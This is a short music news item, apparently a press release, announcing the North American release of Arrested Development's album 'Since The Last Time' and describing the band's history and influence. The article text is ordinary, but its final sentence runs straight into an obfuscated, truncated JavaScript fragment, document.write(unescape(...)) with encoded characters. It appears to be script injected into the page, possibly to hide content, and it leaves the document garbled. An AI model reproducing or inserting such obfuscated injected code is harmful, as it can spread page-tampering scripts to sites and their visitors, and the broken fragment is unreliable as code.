The critically lauded Arrested Development is set to release Since The Last Time (Vagabond Records & Tapes) in North America, the band's first album of new material in over 12 years. The CD will finally get a US release on October 30th.
One of the most influential bands of the positive hip hop movement and known for their political and socially conscious lyrics, Arrested Development exploded onto the scene in 1992 with the Grammy-winning album 3 Years, 5 Months and 2 Days in the Life Of … Now with the October 30 release of Since The Last Time, Arrested Development is poised to re-join the ranks of the consummate bands and musicians they helped inspire, such as the Black Eyed Peas, who Arrested Development recently played an unprecedented gig with in Jerusalem, as well as The Roots and Common. Even brand new acts like Gym Class Heroes have cited the band's influence. Group frontman Speech collaborated on "Biter's Block" off that band's highly successful new album.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;